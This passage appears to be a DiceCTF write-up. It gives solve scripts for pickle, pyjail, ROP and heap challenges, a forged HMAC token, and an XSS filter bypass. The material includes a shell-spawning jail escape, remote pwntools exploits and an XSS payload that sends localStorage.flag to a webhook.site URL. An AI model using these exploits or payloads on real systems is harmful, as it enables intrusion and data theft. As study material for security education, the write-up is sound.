        if flag.endswith(b"}"):
            if randomart(md5(flag).digest()) == hash_field:
                print("FOUND")
                exit()

    return True


known_field = randomart(b"dice{")
printart_num(known_field)
print()
printart_num(flag_field)
print()

x, y = find_value(known_field, AUG.index(b"E"))
print(x, y)
field = [[x - y for x, y in zip(r1, r2)] for r1, r2 in zip(flag_field, known_field)]
field[x][y] = AUG.index(b"S")
printart(field)
reverse_randomart(field, is_goodpath)

# use pypy3
# dice{unr4nd0m}

Vinegar

import pickle
import sys
import io

class SafeUnpickler(pickle.Unpickler):
	def find_class(self, module, name):
		raise pickle.UnpicklingError(f"HACKING DETECTED")

data = sys.stdin.buffer.readline()+b"dice{<REDACTED>}"
SafeUnpickler(io.BytesIO(data)).load()

You can input any data, and then it will append the flag at the end and use pickle load, without calling any find_class.

Reading the pickle source code (Python version, C version), you can see that LONG1 will take one byte from the buffer as the length n, then read n bytes as a little-endian number and push it onto the stack. You can use this to jump to the flag part and read it.

Since those characters are random, pickle easily throws errors, so you can guess the possible characters based on the error message. This part requires some automation combined with manual work. Fortunately, the flag is not long, so spending more time can guess it back.

The auxiliary script I used for this problem in its final state:

from pwn import *
import pickle
import io
import string
from collections import defaultdict
from functools import partial, lru_cache


class SafeUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        raise pickle.UnpicklingError(f"HACKING DETECTED")


def get_err(c, prefix):
    # file = io.BytesIO(b"()\x88Kx" + bytes([c]) + b'*!@#$%^')
    file = io.BytesIO(
        b"()\x88Kx\x8a"
        + bytes([1 + len(prefix)])
        + b"\n"
        + prefix
        + bytes([c])
        + b"x" * 30
    )
    pkl = SafeUnpickler(file)
    try:
        pkl.load()
    except Exception as ex:
        import traceback

        return traceback.format_exc()


def build_dict(prefix):
    rev = defaultdict(list)
    for c in string.ascii_letters + string.digits + "{_}":
        err = get_err(ord(c), prefix)
        last = err.strip().split("\n")[-1]
        print(c, last)
        rev[last].append(c)
    return rev


context.log_level = "error"


# @lru_cache(maxsize=None)
def get_remote_err(idx):
    try:
        io = remote("mc.ax", 31774)
        # io = process(["python", "vinegar.py"])
        # io.sendline(b"\x95" + (2 + idx).to_bytes(8, "little") + b"j")
        io.sendline(b")\x8a" + bytes([1 + idx]))
        ret = io.recvallS()
        io.close()
        return ret
    except:
        pass


def get_local_err(idx, testflag):
    try:
        # io = remote("mc.ax", 31774)
        io = process(
            [
                "/home/maple3142/.asdf/installs/python/3.9.10/bin/python",
                "vinegar_test.py",
                testflag,
            ]
        )
        io.sendline(b")\x8a" + bytes([1 + idx]))
        ret = io.recvallS()
        io.close()
        # print(ret.encode())
        return ret
    except:
        import traceback

        traceback.print_exc()
        pass


# flag = b"dice{beh2P02199"
# rev = build_dict(flag)
# last = get_remote_err(len(flag)).strip().split("\n")[-1]
# print(last, rev.get(last, None))


# test flag

#  6: _pickle.UnpicklingError: unpickling stack underflow
#  7: _pickle.UnpicklingError: Memo value not found at index 50
#  8: but no persistent_load function was specified.
#  9: _pickle.UnpicklingError: Memo value not found at index 959525424
# 10: _pickle.UnpicklingError: Memo value not found at index 959525424
# 11: _pickle.UnpicklingError: Memo value not found at index 959525424
# 12: _pickle.UnpicklingError: invalid load key, '9'.

work_err1 = get_remote_err
work_err2 = partial(get_local_err, testflag=b"dice{beh2Ptj0219}")
work_err2 = partial(get_local_err, testflag=b"dice{beh2Qdj0219}")
for i in range(4, 9):
    print(i)
    print("R", work_err1(i).strip().split("\n")[-1])
    lo = work_err2(i).strip().split("\n")
    print("L", lo[-2])
    print(" ", lo[-1])
    print()

input("pause")

buf = bytearray(b"dice{buh2Qdj0219}")
for c in range(33, 123):
    # buf[10] = c
    buf[6] = c
    print(chr(c), bytes(buf).decode())
    # print("R", work_err1(i).strip().split("\n")[-1])
    for i in range(4, 9):
        try:
            lo = get_local_err(i, bytes(buf)).strip().split("\n")
            print(i)
            print("L", lo[-2])
            print(" ", lo[-1])
        except:
            import traceback

            traceback.print_exc()
    print()
# dice{buh2Qdj0219}

vinegar_test.py:

import pickle
import sys
import io


class SafeUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        raise pickle.UnpicklingError(f"HACKING DETECTED")


data = sys.stdin.buffer.readline() + sys.argv[1].encode()
file = io.BytesIO(data)
try:
    SafeUnpickler(file).load()
except:
    import traceback

    traceback.print_exc()
    print(file.tell(), data[file.tell() :])

TI-1337 Silver Edition

#!/usr/bin/env python3
import dis
import sys

banned = ["MAKE_FUNCTION", "CALL_FUNCTION", "CALL_FUNCTION_KW", "CALL_FUNCTION_EX"]

used_gift = False

def gift(target, name, value):
	global used_gift
	if used_gift: sys.exit(1)
	used_gift = True
	setattr(target, name, value)

print("Welcome to the TI-1337 Silver Edition. Enter your calculations below:")

math = input("> ")
if len(math) > 1337:
	print("Nobody needs that much math!")
	sys.exit(1)
code = compile(math, "<math>", "exec")

bytecode = list(code.co_code)
instructions = list(dis.get_instructions(code))
for i, inst in enumerate(instructions):
	if inst.is_jump_target:
		print("Math doesn't need control flow!")
		sys.exit(1)
	nextoffset = instructions[i+1].offset if i+1 < len(instructions) else len(bytecode)
	if inst.opname in banned:
		bytecode[inst.offset:instructions[i+1].offset] = [-1]*(instructions[i+1].offset-inst.offset)

names = list(code.co_names)
for i, name in enumerate(code.co_names):
	if "__" in name: names[i] = "$INVALID$"

code = code.replace(co_code=bytes(b for b in bytecode if b >= 0), co_names=tuple(names), co_stacksize=2**20)
v = {}
exec(code, {"__builtins__": {"gift": gift}}, v)
if v: print("\n".join(f"{name} = {val}" for name, val in v.items()))
else: print("No results stored.")

This problem is a pyjail that first compiles and then checks the bytecode. If there is a jump, it exits directly. If it is one of ["MAKE_FUNCTION", "CALL_FUNCTION", "CALL_FUNCTION_KW", "CALL_FUNCTION_EX"], it removes it directly. Also, anything in co_names containing __ is replaced.

The execution environment also lacks normal __builtins__, but it provides a gift function that can be called once, which is just setattr.

From the official dis documentation, you can see that there is a CALL_METHOD that is not blocked, so after gift.gift=gift, calling gift.gift(x,y,z) is feasible.

There are not many targets for setattr, and after some thought, you know you need to get a code object to modify gift.__code__ and change the behavior of gift. So the goal is to get a code object.

Testing shows that lambda x: 1 in an expression is represented in bytecode as

LOAD_CONST               0 (<code object <lambda> at...)
LOAD_CONST               1 ('<lambda>')
MAKE_FUNCTION            0

When MAKE_FUNCTION is removed, the code object remains on the stack, so you need to find a way to get the code object out.

Further testing shows that [1,lambda x:1] compiles to

LOAD_CONST               0 (1)
LOAD_CONST               1 (<code object <lambda> at ...)
LOAD_CONST               2 ('<lambda>')
MAKE_FUNCTION            0
BUILD_LIST               2

When MAKE_FUNCTION is removed, BUILD_LIST will take <code object> and '<lambda>' to generate a list, so taking the zeroth item of the list gets the code object.

Then, calling gift.gift(gift, '__code__', co) and calling gift.gift() again will escape.

gift.gift=gift;co=[1,lambda:exec('import os;os.system("sh")')][0];gift.gift(gift,'__code__', co);gift.gift()

# dice{i_sh0uldve_upgr4ded_to_th3_color_edit10n}

Pwn

interview-opportunity

Simple overflow and then ROP to leak libc from GOT, then do it again, and finally use one gadget to get a shell.

from pwn import *

context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]

# context.log_level = "debug"

elf = ELF("./interview-opportunity_patched")
libc = ELF("./libc.so.6")

pop_rdi = 0x401313

# io = gdb.debug("./interview-opportunity_patched", "b *(main+101)\nc")
io = remote("mc.ax", 31081)
io.sendlineafter(
    b"DiceGang?\n",
    b"a" * 34 + flat([pop_rdi, elf.got["puts"], elf.plt["puts"], elf.sym["main"]]),
)
io.recvline()
io.recvline()
libc_base = int.from_bytes(io.recvn(6), "little") - libc.sym["puts"]
print(f"{libc_base = :#x}")
libc.address = libc_base


pop_rsi_r15 = 0x401311
io.sendlineafter(
    b"DiceGang?\n",
    b"a" * 34 + flat([pop_rsi_r15, 0, 0, libc_base + 0xCBD20]),
)
io.interactive()

# dice{0ur_f16h7_70_b347_p3rf3c7_blu3_5h4ll_c0n71nu3}

baby-rop

#include <stdio.h>
#include <stdlib.h>

#include <unistd.h>
#include "seccomp-bpf.h"

void activate_seccomp()
{
    struct sock_filter filter[] = {
        VALIDATE_ARCHITECTURE,
        EXAMINE_SYSCALL,
        ALLOW_SYSCALL(mprotect),
        ALLOW_SYSCALL(mmap),
        ALLOW_SYSCALL(munmap),
        ALLOW_SYSCALL(exit_group),
        ALLOW_SYSCALL(read),
        ALLOW_SYSCALL(write),
        ALLOW_SYSCALL(open),
        ALLOW_SYSCALL(close),
        ALLOW_SYSCALL(openat),
        ALLOW_SYSCALL(fstat),
        ALLOW_SYSCALL(brk),
        ALLOW_SYSCALL(newfstatat),
        ALLOW_SYSCALL(ioctl),
        ALLOW_SYSCALL(lseek),
        KILL_PROCESS,
    };

    struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)),
        .filter = filter,
    };

    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}


#include <gnu/libc-version.h>
#include <stdio.h>
#include <unistd.h>
int get_libc() {
    // method 1, use macro
    printf("%d.%d\n", __GLIBC__, __GLIBC_MINOR__);

    // method 2, use gnu_get_libc_version 
    puts(gnu_get_libc_version());

    // method 3, use confstr function
    char version[30] = {0};
    confstr(_CS_GNU_LIBC_VERSION, version, 30);
    puts(version);

    return 0;
}

#define NUM_STRINGS 10

typedef struct {
    size_t length;
	char * string;
} safe_string;

safe_string * data_storage[NUM_STRINGS];

void read_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    if(ptr == NULL) {
        fprintf(stdout, "that item does not exist\n");
        fflush(stdout);
        return;
    }

    fprintf(stdout, "Sending %zu hex-encoded bytes\n", ptr->length);
    for(size_t j = 0; j < ptr->length; ++j) {
        fprintf(stdout, " %02x", (unsigned char) ptr->string[j]);
    }
    fprintf(stdout, "\n");
    fflush(stdout);
}

void free_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    free(ptr->string);
    free(ptr);
}

void write_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    if(ptr == NULL) {
        fprintf(stdout, "that item does not exist\n");
        fflush(stdout);
        return;
    }

    fprintf(stdout, "enter your string: ");
    fflush(stdout);

    read(STDIN_FILENO, ptr->string, ptr->length);
}

void create_safe_string(int i) {

    safe_string * ptr = malloc(sizeof(safe_string));

    fprintf(stdout, "How long is your safe_string: ");
    fflush(stdout);
    scanf("%zu", &ptr->length);

    ptr->string = malloc(ptr->length);
    data_storage[i] = ptr;

    write_safe_string(i);

}

// flag.txt
int main() {

    get_libc();
    activate_seccomp();

    int idx;
    int c;
    
    while(1){
        fprintf(stdout, "enter your command: ");
        fflush(stdout);
        while((c = getchar()) == '\n' || c == '\r');

        if(c == EOF) { return 0; }

        fprintf(stdout, "enter your index: ");
        fflush(stdout);
        scanf("%u", &idx);

        if((idx < 0) || (idx >= NUM_STRINGS)) {
            fprintf(stdout, "index out of range: %d\n", idx);
            fflush(stdout);
            continue;
        }

        switch(c) {
            case 'C':
                create_safe_string(idx);
                break;
            case 'F':
                free_safe_string(idx);
                break;
            case 'R':
                read_safe_string(idx);
                break;
            case 'W':
                write_safe_string(idx);
                break;
            case 'E':
                return 0;
        }
    
    }
}

Although the name is ROP, the problem is a traditional heap note with seccomp restrictions on ORW and similar syscalls. Additionally, the binary has no PIE, and the glibc is 2.34.

It has an obvious UAF, and the structure used is:

typedef struct {
    size_t length;
	char * string;
} safe_string;

The string part is also malloced, and the size is controllable. So making string = malloc(0x10) will have the same size.

When freeing, it first frees string and then the struct itself, so after creating four notes and freeing them, it looks like this:

tcache 0x10: str3->s2->str2->s1->str1->s0->str0
unsorted bin: s3

// s means struct
// str means string

Then creating note 4 makes s4=str3 and str4=s2, so writing to str4 can control s2, giving arbitrary read and write.

Normally, reading note 2 at this point can read other heap pointers, but this problem's glibc is 2.34, which added safe linking protection to tcache after 2.32, doing some small obfuscation to the pointer. However, this is enough to prevent me from getting the heap address.

The key is that this problem has no PIE, so you can directly get libc from the GOT table, but because of seccomp, you can only ORW. The method is to read char **environ from libc's _environ, then calculate its offset from the main ret to write ROP. The rest is ROP to read flag.txt.

from pwn import *


context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]


elf = ELF("./babyrop_patched")
libc = ELF("./libc.so.6")

# io = gdb.debug("./babyrop_patched", "b *(main+367)\nc")
io = remote("mc.ax", 31245)


def create_note(idx, sz, data):
    io.sendlineafter(b"command: ", b"C")
    io.sendlineafter(b"index: ", str(idx).encode())
    io.sendlineafter(b"safe_string: ", str(sz).encode())
    io.sendafter(b"string: ", data)


def read_note(idx):
    io.sendlineafter(b"command: ", b"R")
    io.sendlineafter(b"index: ", str(idx).encode())
    io.recvuntil(b"bytes\n")
    return bytes.fromhex(io.recvlineS().strip().replace(" ", ""))


def write_note(idx, data):
    io.sendlineafter(b"command: ", b"W")
    io.sendlineafter(b"index: ", str(idx).encode())
    io.sendafter(b"string: ", data)


def free_note(idx):
    io.sendlineafter(b"command: ", b"F")
    io.sendlineafter(b"index: ", str(idx).encode())


# setup
for i in range(4):
    create_note(i, 16, f"peko{i}".encode())
for i in range(4):
    free_note(i)
create_note(4, 16, flat([8, elf.got["puts"]]))

# leak libc
libc_base = int.from_bytes(read_note(2), "little") - libc.sym["puts"]
print(f"{libc_base = :#x}")
libc.address = libc_base

# leak stack
environ_addr = libc.sym["_environ"]
print(f"{environ_addr = :#x}")
write_note(4, flat([8, environ_addr]))
environ = int.from_bytes(read_note(2), "little")
print(f"{environ = :#x}")
main_ret = environ - 0x140
print(f"{main_ret = :#x}")

# write flag.txt to bss
buf = elf.bss() + 0x200
print(f"{buf = :#x}")
write_note(4, flat([len("flag.txt"), buf]))
write_note(2, b"flag.txt")

# generate rop
rop = ROP(libc)
pop_rax = rop.find_gadget(["pop rax", "ret"]).address
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address
pop_rsi = rop.find_gadget(["pop rsi", "ret"]).address
pop_rdx = rop.find_gadget(["pop rdx", "ret"]).address
syscall_ret = rop.find_gadget(["syscall", "ret"]).address


def syscall(rax, rdi, rsi, rdx):
    return [pop_rax, rax, pop_rdi, rdi, pop_rsi, rsi, pop_rdx, rdx, syscall_ret]


chain = []
chain += syscall(2, buf, 0, 0)
chain += syscall(0, 3, buf, 100)
chain += syscall(1, 1, buf, 100)
payload = flat(chain)

# write rop
write_note(4, flat([len(payload), main_ret]))
write_note(2, payload)

# exit to trigger rop
io.sendlineafter(b"command: ", b"E")
io.sendlineafter(b"index: ", b"0")

io.interactive()

# dice{glibc_2.34_stole_my_function_pointers-but_at_least_nobody_uses_intel_CET}

Rev

import json


def test_chain(links, start, end):
    current = start
    for link in links:
        current = int(''.join(
            str(int(current & component != 0))
            for component in link
        ), 2)
    return end == current & end


def main():
    try:
        with open('hyperlink.json', 'r') as f:
            data = json.load(f)
    except IOError:
        print('Could not open hyperlink.json')
        return

    print('Welcome to the chain building game.')
    print('Enter a chain and see if it works:')

    chain = input()

    legal_chars = set('abcdefghijklmnopqrstuvwxyz{}_')
    if any(c not in legal_chars for c in chain):
        print('Chain contains illegal characters!')
        return

    try:
        links = [data['links'][c] for c in chain]
        result = test_chain(links, data['start'], data['target'])
    except Exception:
        print('Something went wrong!')
        return

    if result:
        print('Chain works! Congratulations.')
    else:
        print('Oh no! Chain does not reach the target.')


if __name__ == '__main__':
    main()

The hyperlink.json is a file like this:

{
  "start": 11692013098828707274653979175577397281211070056584,
  "target": 703250224969939491157640855358987637009,
  "links": {
    "a": [164 numbers..],
	...,
	"_": [164 numbers..]
  }
}

Reading the code, you can see it is also a graph traversal, but there are too many nodes to brute force (2^164).

Observing its state bits, it looks like a state machine, from the initial state to the end state like this:

start:
10000000000000000000000000000000000010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000
end: 
00000000000000000000000000000000001000010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001

Testing some characters shows that the right 1000 may change to 0100 based on the correct character, then to 0010, and finally to 0001. The left 1 simply moves to the right regardless of correctness.

So try to convert those 1000 to a progress value, brute force one character at a time to see which character gives the highest progress value. Although it can't fully restore the flag, combined with some guessing, you can guess the flag.

import json


def test_chain(links, start, end):
    current = start
    for link in links:
        current = int(
            "".join(str(int(current & component != 0)) for component in link), 2
        )
    return end == current & end


def step(cur, *links):
    for link in links:
        cur = int("".join(str(int(cur & component != 0)) for component in link), 2)
    return cur


with open("hyperlink.json", "r") as f:
    data = json.load(f)

print(len(data["links"]))
print(len(data["links"]["d"]))
# for x in data["links"]["w"]:
#     print(f"{x:0164b}")

print()
print(f"{data['start']:0164b}")
print(f"{step(data['start'],data['links']['d']):0164b}")
print(f"{step(data['start'],data['links']['d'],data['links']['i']):0164b}")
print(
    f"{step(data['start'],data['links']['d'],data['links']['i'],data['links']['c']):0164b}"
)
print(
    f"{step(data['start'],data['links']['d'],data['links']['i'],data['links']['c'],data['links']['e']):0164b}"
)
print()
print(
    f"{step(data['start'],data['links']['d'],data['links']['i'],data['links']['c'],data['links']['e'],data['links']['{']):0164b}"
)
print(
    f"{step(data['start'],data['links']['d'],data['links']['i'],data['links']['c'],data['links']['e'],data['links']['}']):0164b}"
)
print()
print(f"{data['target']:0164b}")
print()


def num2state(n):
    state_bits = f"{n:0164b}"[36:]
    return [
        int("".join(map(str, state_bits[i + 1 : i + 4][::-1])), 2)
        for i in range(0, len(state_bits), 4)
    ]


chars = "abcdefghijklmnopqrstuvwxyz{}_"
current = step(
    data["start"],
    data["links"]["d"],
    data["links"]["i"],
    data["links"]["c"],
    data["links"]["e"],
    data["links"]["{"],
    data["links"]["e"],
    data["links"]["v"],
    data["links"]["e"],
)
cur_state = num2state(current)
for c in chars:
    nxt = step(current, data["links"][c])
    state = num2state(nxt)
    g = sum(state)
    print(c, g)


def dfs(cur, cur_state, flag=""):
    print(flag)
    for c in chars:
        nxt = step(cur, data["links"][c])
        state = num2state(nxt)
        if any([x > y for x, y in zip(state, cur_state) if x > 0 and y > 0]):
            print(cur_state)
            print(state)
            print()
            dfs(nxt, state, flag + c)


cur = step(data["start"], data["links"]["d"])
# dfs(cur, num2state(cur), 'di')
flag = "d"
for _ in range(100):
    mx = 0
    mxc = None
    for c in chars:
        nxt = step(cur, data["links"][c])
        state = num2state(nxt)
        g = sum(state)
        if c == "e":
            g -= len(flag)
        if g > mx:
            mx = g
            mxc = c
    flag += mxc
    cur = step(cur, data["links"][mxc])
    print(flag)

# dice{everything_is_linear_algebra}

Web

knock-knock

const crypto = require('crypto');

class Database {
  constructor() {
    this.notes = [];
    this.secret = `secret-${crypto.randomUUID}`;
  }

  createNote({ data }) {
    const id = this.notes.length;
    this.notes.push(data);
    return {
      id,
      token: this.generateToken(id),
    };
  }

  getNote({ id, token }) {
    if (token !== this.generateToken(id)) return { error: 'invalid token' };
    if (id >= this.notes.length) return { error: 'note not found' };
    return { data: this.notes[id] };
  }

  generateToken(id) {
    return crypto
      .createHmac('sha256', this.secret)
      .update(id.toString())
      .digest('hex');
  }
}

const db = new Database();
db.createNote({ data: process.env.FLAG });

const express = require('express');
const app = express();

app.use(express.urlencoded({ extended: false }));
app.use(express.static('public'));

app.post('/create', (req, res) => {
  const data = req.body.data ?? 'no data provided.';
  const { id, token } = db.createNote({ data: data.toString() });
  res.redirect(`/note?id=${id}&token=${token}`);
});

app.get('/note', (req, res) => {
  const { id, token } = req.query;
  const note = db.getNote({
    id: parseInt(id ?? '-1'),
    token: (token ?? '').toString(),
  });
  if (note.error) {
    res.send(note.error);
  } else {
    res.send(note.data);
  }
});

app.listen(3000, () => {
  console.log('listening on port 3000');
});

This problem stores the flag in the 0th note, but you need a secret signed token to access it. You can see that its secret is secret-${crypto.randomUUID}, which is not called, so crypto.randomUUID when converted to a string is just its source code.

Since the Dockerfile gives the version as node:17.4.0-buster-slim, you can use the known secret to sign the target token and get the flag.

const crypto = require('crypto')

const secret = `secret-${crypto.randomUUID}`
const id = '0'
console.log(crypto.createHmac('sha256', secret).update(id).digest('hex'))

// https://knock-knock.mc.ax/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264
// dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}

blazingfast

index.html's js:

let blazingfast = null;

function mock(str) {
	blazingfast.init(str.length);

	if (str.length >= 1000) return 'Too long!';

	for (let c of str.toUpperCase()) {
		if (c.charCodeAt(0) > 128) return 'Nice try.';
		blazingfast.write(c.charCodeAt(0));
	}

	if (blazingfast.mock() == 1) {
		return 'No XSS for you!';
	} else {
		let mocking = '', buf = blazingfast.read();

		while(buf != 0) {
			mocking += String.fromCharCode(buf);
			buf = blazingfast.read();
		}

		return mocking;
	}
}

function demo(str) {
	document.getElementById('result').innerHTML = mock(str);
}

WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {	
	blazingfast = instance.exports;

	document.getElementById('demo-submit').onclick = () => {
		demo(document.getElementById('demo').value);
	}

	let query = new URLSearchParams(window.location.search).get('demo');

	if (query) {
		document.getElementById('demo').value = query;
		demo(query);
	}
})

wasm module:

int length, ptr = 0;
char buf[1000];

void init(int size) {
	length = size;
	ptr = 0;
}

char read() {
	return buf[ptr++];
}

void write(char c) {
	buf[ptr++] = c;
}

int mock() {
	for (int i = 0; i < length; i ++) {
		if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) {
			buf[i] += 32;
		}

		if (buf[i] == '<' || buf[i] == '>' || buf[i] == '&' || buf[i] == '"') {
			return 1;
		}
	}

	ptr = 0;

	return 0;
}

The goal of this problem is to find a way to XSS and get localStorage.flag. You can see that it takes a string from the query string, then uses a C-written wasm to filter and convert it to MoCkInG CaSe. The wasm directly rejects any string containing <>&".

The key to the problem is here:

	blazingfast.init(str.length);

	if (str.length >= 1000) return 'Too long!';

	for (let c of str.toUpperCase()) {
		if (c.charCodeAt(0) > 128) return 'Nice try.';
		blazingfast.write(c.charCodeAt(0));
	}

In unicode, a string's length can change after being uppercased, for example, 'ß'.toUpperCase() === 'SS'. So if str is n ß, it will actually write 2n characters.

And mock's length comes from the initial str.length, so it is n, meaning the characters after that are not filtered.

So you can bypass the check by padding the xss payload with enough ß characters before it.

# eval(location.hash.slice(1)) and url escape to bypass uppercase
payload = "<img src=1 onerror=&#x65;&#x76;&#x61;&#x6c;&#x28;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x68;&#x61;&#x73;&#x68;&#x2e;&#x73;&#x6c;&#x69;&#x63;&#x65;&#x28;&#x31;&#x29;&#x29;>"
print("ß" * len(payload) + payload)
# upper(ß) = SS

# https://blazingfast.mc.ax/?demo=%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%3Cimg%20src%3D1%20onerror%3D%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B%3E#location.href='https://webhook.site/3ff901d8-82eb-4f29-9b4b-7a9598250f9d?flag='+localStorage.flag
# dice{1_dont_know_how_to_write_wasm_pwn_s0rry}